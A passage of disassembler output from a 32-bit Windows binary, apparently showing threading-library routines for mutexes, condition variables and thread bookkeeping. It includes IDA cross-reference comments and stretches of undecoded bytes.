; ---------------------------------------------------------------------------


loc_4313CD:				; CODE XREF: ___:004313BEj
					; DATA XREF: ___:off_4313ECo
		call	sub_4017BC	; jumptable 004313BE case 2
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4313D5:				; CODE XREF: ___:004313BEj
					; DATA XREF: ___:off_4313ECo
		call	sub_4017CB	; jumptable 004313BE case 3
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4313DD:				; CODE XREF: ___:004313BEj
					; DATA XREF: ___:off_4313ECo
		call	sub_4017CB	; jumptable 004313BE case 0
		call	sub_401627

locret_4313E7:				; CODE XREF: ___:004313BCj
		retn	0Ch		; default
; ---------------------------------------------------------------------------
		align 4
off_4313EC	dd offset loc_4313DD	; DATA XREF: ___:004313BEr
		dd offset loc_4313C5	; jump table for switch	statement
		dd offset loc_4313CD
		dd offset loc_4313D5
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431420:				; CODE XREF: ___:004017C1j
		mov	eax, dword_5103B4
		push	esi
		push	edi
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		db 8Bh,	7Ch, 24h
		dd 83F08B10h, 0F68504C4h, 0E8570A75h, 77808EC7h, 4C48390h
		dd 7E89016Ah, 99FE814h,	0C483FFFDh, 0C35E5F04h,	3 dup(90909090h)
		dd 4 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_431470	proc near		; CODE XREF: sub_401762j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	offset dword_5108C0
		xor	esi, esi
		call	near ptr 7C901005h
		nop
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_43149B
		mov	eax, [eax+4]
		test	eax, eax
		jz	short loc_43149B
		push	eax
		call	near ptr 2760623h
		nop
		cmp	eax, 7FFFFFFFh
		jnz	short loc_4314A0


loc_43149B:				; CODE XREF: sub_431470+14j
					; sub_431470+1Bj
		mov	esi, 3


loc_4314A0:				; CODE XREF: sub_431470+29j
		push	offset dword_5108C0
		nop
		call	near ptr 7C9010EDh
		test	esi, esi
		jnz	short loc_4314BC
		mov	eax, [esp+4+arg_4]
		test	eax, eax
		mov	eax, 16h
		jnz	short loc_4314BE


loc_4314BC:				; CODE XREF: sub_431470+3Dj
		mov	eax, esi


loc_4314BE:				; CODE XREF: sub_431470+4Aj
		pop	esi
		retn
sub_431470	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4314E0:				; CODE XREF: ___:00401654j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	short loc_431531
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_431531
		mov	eax, [esi]
		xor	ebx, ebx
		test	eax, eax
		jnz	short loc_431511
		lea	eax, [esi+4]
		push	eax
		nop
		call	near ptr 276055Ch
		test	eax, eax
		jnz	short loc_431517
		call	edi	; _errno
		mov	dword ptr [esi], 1


loc_431511:				; CODE XREF: ___:004314F9j
					; ___:0043151Aj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431517:				; CODE XREF: ___:00431507j
		cmp	dword ptr [esi], 0
		jnz	short loc_431511
		mov	edi, dword_5118D8


loc_431522:				; CODE XREF: ___:00431529j
		push	0
		call	edi
		cmp	dword ptr [esi], 0
		jz	short loc_431522
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431531:				; CODE XREF: ___:004314E9j
					; ___:004314F1j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431560	proc near		; CODE XREF: sub_4012E4j
		mov	eax, dword_5103B4
		push	esi
		push	edi
		push	eax
		call	sub_401190
sub_431560	endp

; ---------------------------------------------------------------------------
		db 8Bh,	0F0h, 83h
		dd 0F68504C4h, 0ACE87675h, 8BFFFD05h, 74F685F0h, 7C7E8B5Bh
		dd 1B8h, 53F80B00h, 897C7E89h, 0E8902046h, 231F607h, 187C1D8Bh
		dd 26A0051h, 6A047E8Dh,	57006A00h, 0D3FF0689h, 32E89050h
		dd 500235ECh, 9050D3FFh, 32EA43E8h, 5BC08502h, 0E8560E75h
		dd 0FFFD0609h, 3304C483h, 0C35E5FC0h, 90510F8Bh, 32F04AE8h
		dd 28468902h, 3B4158Bh,	52560051h, 0FD0B10E8h, 8C483FFh
		dd 5E5FC68Bh, 909090C3h, 3 dup(90909090h), 0Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_431630	proc near		; CODE XREF: sub_401A64j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jnz	short loc_43164E
		test	eax, eax
		jz	short loc_431648
		mov	eax, [eax]
		mov	edx, [ecx]
		cmp	eax, edx
		jnz	short loc_43164E


loc_431648:				; CODE XREF: sub_431630+Ej
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_43164E:				; CODE XREF: sub_431630+Aj
					; sub_431630+16j
		xor	eax, eax
		retn
sub_431630	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431670:				; CODE XREF: ___:0040200Ej
		mov	eax, [esp+4]
		test	eax, eax
		jge	short loc_43167E
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_43167E:				; CODE XREF: ___:00431676j
		mov	dword_5103C4, eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4316A0:				; CODE XREF: ___:00401564j
		mov	eax, dword_5103C4
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4316C0	proc near		; CODE XREF: sub_401B27j
		push	esi
		call	sub_401307
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4316E2
		push	84h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jz	short loc_431729


loc_4316E2:				; CODE XREF: sub_4316C0+Aj
		push	0
		push	0
		or	eax, 0FFFFFFFFh
		push	1
		push	0
		mov	dword ptr [esi+28h], 0
		mov	dword ptr [esi+20h], 0
		mov	dword ptr [esi+30h], 0
		mov	dword ptr [esi+34h], 1
		mov	[esi+2Ch], eax
		mov	[esi+24h], eax
		nop
		call	near ptr 27508C9h
		test	eax, eax
		mov	[esi+38h], eax
		jnz	short loc_431729
		push	esi
		call	sub_401BD1
		add	esp, 4
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431729:				; CODE XREF: sub_4316C0+20j
					; sub_4316C0+5Aj
		mov	eax, esi
		pop	esi
		retn
sub_4316C0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431750	proc near		; CODE XREF: sub_401307j
		push	esi
		push	offset dword_5108C0
		nop
		call	near ptr 7C901005h
		mov	esi, dword_447700
		cmp	esi, 1
		jz	short loc_431785
		mov	eax, [esi+8]
		push	offset dword_5108C0
		mov	dword_447700, eax
		mov	dword ptr [esi+8], 0
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431785:				; CODE XREF: sub_431750+15j
		push	offset dword_5108C0
		xor	esi, esi
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_431750	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4317C0	proc near		; CODE XREF: sub_401BD1j

arg_0		= dword	ptr  4

		push	edi
		push	offset dword_5108C0
		call	near ptr 7C901005h
		nop
		mov	edx, [esp+4+arg_0]
		mov	ecx, 21h
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, dword_447700
		push	offset dword_5108C0
		mov	[edx+8], eax
		mov	dword_447700, edx
		nop
		call	near ptr 7C9010EDh
		pop	edi
		retn
sub_4317C0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431810	proc near		; CODE XREF: sub_40164Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0FFFFFFFFh
		push	eax
		call	sub_431830
sub_431810	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431830	proc near		; CODE XREF: sub_431810+7p
					; sub_431950+Ap

var_8		= dword	ptr -8
arg_0		= dword	ptr  4

		sub	esp, 8
		mov	eax, [esp+8+arg_0]
		push	esi
		push	edi
		mov	edi, 1
		mov	[esp+10h+var_8], eax
		call	sub_4012E4
sub_431830	endp

; ---------------------------------------------------------------------------
		mov	esi, eax
		test	esi, esi
		jz	short loc_431866
		mov	eax, [esi+30h]
		test	eax, eax
		jnz	short loc_43186E
		mov	eax, [esi+38h]
		test	eax, eax
		mov	[esp+0Ch], eax
		jz	short loc_43186E
		mov	edi, 2
		jmp	short loc_43186E
; ---------------------------------------------------------------------------


loc_431866:				; CODE XREF: ___:0043184Bj
		mov	dword ptr [esp+0Ch], 0


loc_43186E:				; CODE XREF: ___:00431852j
					; ___:0043185Dj ...
		mov	ecx, [esp+18h]
		lea	edx, [esp+8]
		push	ecx
		push	0
		push	edx
		push	edi
		call	near ptr 27506C6h
		nop
		mov	ecx, eax
		sub	ecx, 0
		jz	short loc_4318F9
		dec	ecx
		jz	short loc_4318A4
		sub	eax, 102h
		pop	edi
		neg	eax
		sbb	eax, eax
		pop	esi
		and	eax, 0FFFFD8CAh
		add	eax, 274Ch
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_4318A4:				; CODE XREF: ___:00431889j
		mov	eax, [esp+0Ch]
		push	eax
		nop
		call	near ptr 277084Dh
		test	esi, esi
		jz	short loc_4318EE
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_402248
		mov	ecx, [esi+0Ch]
		mov	eax, 3
		add	esp, 4
		cmp	ecx, eax
		jge	short loc_4318E5
		push	edi
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DED
; ---------------------------------------------------------------------------
		add	esp, 8


loc_4318E5:				; CODE XREF: ___:004318C9j
		push	edi
		call	sub_4010C3
		add	esp, 4


loc_4318EE:				; CODE XREF: ___:004318B1j
		pop	edi
		mov	eax, 16h
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_4318F9:				; CODE XREF: ___:00431886j
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431950	proc near		; CODE XREF: sub_401D84j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_431830
sub_431950	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431980	proc near		; CODE XREF: sub_401C17j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_510920
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4319B4
		push	esi
		push	ecx
		call	sub_4021BC
		add	esp, 8
		mov	esi, eax
		push	offset dword_510920
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4319B4:				; CODE XREF: sub_431980+17j
		test	eax, eax
		jnz	short loc_4319BD
		mov	esi, 16h


loc_4319BD:				; CODE XREF: sub_431980+36j
		push	offset dword_510920
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
sub_431980	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4319F0	proc near		; CODE XREF: sub_4021BCj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	ebp
		xor	ebp, ebp
		push	edi
		test	eax, eax
		jnz	short loc_431A04
		pop	edi
		mov	eax, 16h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431A04:				; CODE XREF: sub_4319F0+Aj
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_431A1F
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_431A1F
		cmp	dword ptr [eax], 1
		jnz	short loc_431A1F
		pop	edi
		mov	eax, 28h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431A1F:				; CODE XREF: sub_4319F0+1Aj
					; sub_4319F0+20j ...
		push	esi
		push	2Ch
		push	1
		call	near ptr 77C2C0C3h
		nop
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_431A44
		mov	edx, [esp+0Ch+arg_0]
		mov	ebp, 0Ch
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431A44:				; CODE XREF: sub_4319F0+41j
		test	edi, edi
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	dword ptr [esi+4], 0
		jz	short loc_431A60
		mov	edi, [edi]
		test	edi, edi
		jz	short loc_431A60
		mov	edi, [edi+4]
		jmp	short loc_431A62
; ---------------------------------------------------------------------------


loc_431A60:				; CODE XREF: sub_4319F0+63j
					; sub_4319F0+69j
		xor	edi, edi


loc_431A62:				; CODE XREF: sub_4319F0+6Ej
		push	0
		lea	eax, [esi+10h]
		push	0
		push	eax
		mov	[esi+8], edi
		mov	dword ptr [esi+0Ch], 0
		call	sub_401C8A
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_431A9D
		push	esi
		mov	ebp, 0Bh
		call	near ptr 77C2C21Bh
		nop
		mov	edx, [esp+10h+arg_0]
		add	esp, 4
		xor	esi, esi
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431A9D:				; CODE XREF: sub_4319F0+8Ej
		lea	ecx, [esi+14h]
		push	ecx
		call	near ptr 2780DB4h
		nop
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
sub_4319F0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431B00	proc near		; CODE XREF: sub_402252j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		test	edi, edi
		jz	loc_431BE0
		mov	eax, [edi]
		test	eax, eax
		jz	loc_431BE0
		cmp	eax, 0FFFFFFFFh
		jz	loc_431BA5
		mov	[esp+8+arg_0], eax
		lea	eax, [esp+8+arg_0]
		push	eax
		call	sub_401785
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	loc_431BDB
		mov	ecx, [esp+8+arg_0]
		mov	eax, [ecx+4]
		cmp	eax, 1
		jnz	short loc_431B97
		lea	ecx, [esp+8+arg_0]
		mov	[edi], esi
		push	ecx
		call	sub_4010C3
		mov	edx, [esp+0Ch+arg_0]
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	short loc_431B90
		add	edx, 10h
		push	edx
		call	sub_401690
		mov	eax, [esp+0Ch+arg_0]
		add	esp, 4
		add	eax, 14h
		push	eax
		nop
		call	near ptr 27807B0h
		mov	ecx, [esp+8+arg_0]
		push	ecx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431B90:				; CODE XREF: sub_431B00+61j
		mov	[edi], edx
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431B97:				; CODE XREF: sub_431B00+48j
		dec	eax
		mov	esi, 10h
		mov	[ecx+4], eax
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431BA5:				; CODE XREF: sub_431B00+1Dj
		push	offset dword_510920
		nop
		call	near ptr 7C901005h
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_431BCB
		push	offset dword_510920
		mov	dword ptr [edi], 0
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431BCB:				; CODE XREF: sub_431B00+B3j
		push	offset dword_510920
		mov	esi, 10h
		call	near ptr 7C9010EDh
		nop


loc_431BDB:				; CODE XREF: sub_431B00+38j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431BE0:				; CODE XREF: sub_431B00+Aj
					; sub_431B00+14j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_431B00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431C30	proc near		; CODE XREF: sub_401A1Ej

arg_0		= dword	ptr  4

		push	esi
		push	8
		push	1
		xor	esi, esi
		nop
		call	near ptr 77C2C0C3h
		add	esp, 8
		cmp	eax, esi
		jnz	short loc_431C53
		mov	edx, [esp+4+arg_0]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_431C53:				; CODE XREF: sub_431C30+12j
		mov	ecx, [esp+4+arg_0]
		mov	[eax], esi
		mov	[eax+4], esi
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
sub_431C30	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431C80	proc near		; CODE XREF: sub_4010AAj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_431CA1
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_431CA1
		push	eax
		mov	[ecx], esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431CA1:				; CODE XREF: sub_431C80+9j
					; sub_431C80+Fj
		mov	eax, 16h
		pop	esi
		retn
sub_431C80	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431CC0:				; CODE XREF: ___:00401BBDj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_431CDD
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_431CDD
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_431CDD
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_431CDD:				; CODE XREF: ___:00431CC6j
					; ___:00431CCCj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431D00:				; CODE XREF: ___:00401906j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_431D2A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_431D2A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_431D1E
		test	eax, eax
		jnz	short loc_431D2A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_431D1E:				; CODE XREF: ___:00431D15j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_431D2A:				; CODE XREF: ___:00431D06j
					; ___:00431D0Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431D40	proc near		; CODE XREF: sub_40119Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		xor	eax, eax
		test	ecx, ecx
		jz	short loc_431D61
		mov	ecx, [ecx]
		test	ecx, ecx
		jz	short loc_431D61
		mov	edx, [esp+arg_4]
		test	edx, edx
		jl	short loc_431D61
		cmp	edx, 2
		jg	short loc_431D61
		mov	[ecx+4], edx
		retn
; ---------------------------------------------------------------------------


loc_431D61:				; CODE XREF: sub_431D40+8j
					; sub_431D40+Ej ...
		mov	eax, 16h
		retn
sub_431D40	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431D80	proc near		; CODE XREF: sub_4018CFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		xor	eax, eax
		test	ecx, ecx
		jz	short loc_431D9E
		mov	ecx, [ecx]
		test	ecx, ecx
		jz	short loc_431D9E
		mov	edx, [esp+arg_4]
		test	edx, edx
		jz	short loc_431D9E
		mov	ecx, [ecx+4]
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_431D9E:				; CODE XREF: sub_431D80+8j
					; sub_431D80+Ej ...
		mov	eax, 16h
		retn
sub_431D80	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431DC0	proc near		; CODE XREF: sub_402248j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	loc_431E77
		mov	eax, [esi]
		test	eax, eax
		jz	loc_431E77
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_431DF1
		push	esi
		call	sub_401C17
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_431DF1
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431DF1:				; CODE XREF: sub_431DC0+1Dj
					; sub_431DC0+2Cj
		mov	esi, [esi]
		push	esi
		call	near ptr 276055Ch
		nop
		test	eax, eax
		jnz	short loc_431E1A


loc_431DFE:				; CODE XREF: sub_431DC0+A8j
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_431E12
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_431E12:				; CODE XREF: sub_431DC0+4Bj
		mov	[esi+0Ch], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431E1A:				; CODE XREF: sub_431DC0+3Cj
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_431E5A
		call	sub_4012E4
; ---------------------------------------------------------------------------
		dw 8B50h
		dd 0E8500C46h, 0FFFCFC34h, 8508C483h, 562374C0h, 0EC2BE890h
		dd 7E830233h, 0C750108h, 4004468Bh, 8B044689h, 0C35E5FC7h
		dd 24BFh, 5FC78B00h
; ---------------------------------------------------------------------------
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431E5A:				; CODE XREF: sub_431DC0+5Fj
		lea	ecx, [esi+10h]
		push	ecx
		call	sub_431EB0
		add	esp, 4
		test	eax, eax
		jz	short loc_431DFE
		call	near ptr 77C1F2BCh
		nop
		mov	edi, [eax]
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431E77:				; CODE XREF: sub_431DC0+Aj
					; sub_431DC0+14j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_431DC0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431EB0	proc near		; CODE XREF: sub_431DC0+9Ep

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_431ECA
		mov	eax, [eax]
		push	0FFFFFFFFh
		mov	ecx, [eax]
		push	ecx
		nop
		call	near ptr 27706F1h
		test	eax, eax
		jnz	short loc_431ECA
		retn
; ---------------------------------------------------------------------------


loc_431ECA:				; CODE XREF: sub_431EB0+6j
					; sub_431EB0+17j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_431EB0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431EF0	proc near		; CODE XREF: sub_401BD6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebp
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebp, ebp
		test	esi, esi
		jz	loc_432088
		mov	eax, [esi]
		test	eax, eax
		jz	loc_432088
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_431F21
		push	esi
		call	sub_401C17
		mov	ebp, eax
		add	esp, 4
		test	ebp, ebp
		jz	short loc_431F21
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431F21:				; CODE XREF: sub_431EF0+1Dj
					; sub_431EF0+2Cj
		mov	esi, [esi]
		push	ebx
		push	edi
		push	esi
		nop
		call	near ptr 276055Ch
		test	eax, eax
		jnz	short loc_431F52


loc_431F30:				; CODE XREF: sub_431EF0+175j
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	loc_43207E
		call	sub_4012E4
; ---------------------------------------------------------------------------
		pop	edi
		mov	[esi+0Ch], eax
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431F52:				; CODE XREF: sub_431EF0+3Ej
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_431F96
		call	sub_4012E4
; ---------------------------------------------------------------------------
		dw 8B50h
		dd 0E8500C46h, 0FFFCFAFCh, 8508C483h, 562774C0h, 0EAF3E890h
		dd 7E830233h, 0E750108h, 5F04468Bh, 46895B40h, 5EC58B04h
		dd 24BDC35Dh, 5F000000h, 5EC58B5Bh
; ---------------------------------------------------------------------------
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431F96:				; CODE XREF: sub_431EF0+67j
		mov	eax, [esp+10h+arg_4]
		test	eax, eax
		jnz	short loc_431FAA
		mov	ebp, 16h
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431FAA:				; CODE XREF: sub_431EF0+ACj
		lea	edi, [esi+10h]
		push	eax
		push	edi
		call	sub_432100
		add	esp, 8
		sub	eax, 0
		jz	loc_43206A
		dec	eax
		jz	short loc_432034
		dec	eax
		jz	short loc_431FD5
		nop
		call	near ptr 77C1F2BCh
		mov	ebp, [eax]
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431FD5:				; CODE XREF: sub_431EF0+D4j
		lea	ebx, [esi+14h]
		push	ebx
		nop
		call	near ptr 7C901005h
		push	edi
		mov	ebp, 274Ch
		call	sub_4010A5
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_432007
		nop
		call	near ptr 2770A69h
		push	ebx
		nop
		call	near ptr 7C9010EDh
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_432007:				; CODE XREF: sub_431EF0+101j
		nop
		call	near ptr 2770A69h
		test	eax, eax
		jl	short loc_432026
		push	edi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_432026
		call	near ptr 77C1F2BCh
		nop
		mov	ebp, [eax]


loc_432026:				; CODE XREF: sub_431EF0+11Fj
					; sub_431EF0+12Cj
		push	ebx
		nop
		call	near ptr 7C9010EDh
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_432034:				; CODE XREF: sub_431EF0+D1j
		lea	ebx, [esi+14h]
		push	ebx
		nop
		call	near ptr 7C901005h
		push	edi
		call	sub_4010A5
		mov	edi, eax
		add	esp, 4
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_43205A
		push	esi
		call	near ptr 2770A69h
		nop
		mov	ebp, 274Ch


loc_43205A:				; CODE XREF: sub_431EF0+15Cj
		push	ebx
		call	near ptr 7C9010EDh
		nop
		test	edi, edi
		jnz	short loc_432081
		jmp	loc_431F30
; ---------------------------------------------------------------------------


loc_43206A:				; CODE XREF: sub_431EF0+CAj
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_43207E
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_43207E:				; CODE XREF: sub_431EF0+4Dj
					; sub_431EF0+187j
		mov	[esi+0Ch], eax


loc_432081:				; CODE XREF: sub_431EF0+173j
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_432088:				; CODE XREF: sub_431EF0+Aj
					; sub_431EF0+14j
		pop	esi
		mov	eax, 16h
		pop	ebp
		retn
sub_431EF0	endp

; ---------------------------------------------------------------------------
